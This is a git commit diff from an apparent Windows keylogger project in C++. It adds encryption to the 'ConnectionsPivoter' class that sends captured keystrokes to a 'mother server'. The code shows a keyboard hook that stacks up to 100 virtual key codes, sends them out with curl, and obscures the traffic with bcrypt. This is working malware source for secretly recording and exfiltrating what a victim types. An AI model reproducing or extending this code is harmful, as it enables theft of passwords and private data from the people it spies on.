ConnectionsPivoter: Encrypt network traffic before sending it to the

mother server
This commit is contained in:
osamu-kj 2022-12-18 23:54:26 +01:00
parent 8903fa08a3
commit d81369be0f
5 changed files with 184 additions and 8 deletions

3
.gitignore vendored
View File

@ -396,3 +396,6 @@ FodyWeavers.xsd
# JetBrains Rider # JetBrains Rider
*.sln.iml *.sln.iml
# tmp
enc_temp_folder

View File

@ -9,10 +9,11 @@
#include <Windows.h> #include <Windows.h>
#include <WinUser.h> #include <WinUser.h>
#include <vector> #include <vector>
#include <thread>
#include "codes.h" #include "codes.h"
#include "connections_pivoter.h" #include "connections_pivoter.h"
#define DEBUG FALSE #define DEBUG TRUE
#define KEYS_LIMIT 100 #define KEYS_LIMIT 100
HHOOK keyboard_events_hook; HHOOK keyboard_events_hook;
std::vector<std::string> virt_codes; std::vector<std::string> virt_codes;
@ -22,8 +23,10 @@ void stack_codes() {
if (virt_codes.size() < KEYS_LIMIT) if (virt_codes.size() < KEYS_LIMIT)
return; return;
// send the codes to the mother server bool res = mother_server_pv.send_codes(virt_codes);
mother_server_pv.send_codes(virt_codes); if (DEBUG && !res)
std::cout << "Failed sending message to the mother server" << std::endl;
virt_codes.clear(); virt_codes.clear();
} }

View File

@ -29,7 +29,6 @@
class Base64 { class Base64 {
public: public:
static std::string encode(const std::string data) { static std::string encode(const std::string data) {
static constexpr char s_encoding_table[] = { static constexpr char s_encoding_table[] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',

File diff suppressed because one or more lines are too long

View File

@ -7,6 +7,7 @@
#include <string> #include <string>
#include <vector> #include <vector>
#include <Windows.h> #include <Windows.h>
#include <bcrypt.h>
#include <curl/curl.h> #include <curl/curl.h>
#pragma comment (lib, "Normaliz.lib") #pragma comment (lib, "Normaliz.lib")
@ -37,6 +38,13 @@ public:
/// <param name='codes:'>vector of key codes</param> /// <param name='codes:'>vector of key codes</param>
/// <returns>TRUE if successful</returns> /// <returns>TRUE if successful</returns>
BOOL send_codes(std::vector<std::string> codes); BOOL send_codes(std::vector<std::string> codes);
/// <summary>
/// Encrypt the given data
/// </summary>
/// <param name='data:'>Data to encrypt</param>
/// <returns>Encrypted data</returns>
PBYTE encrypt_traffic(std::string data, size_t *output_length);
private: private:
}; };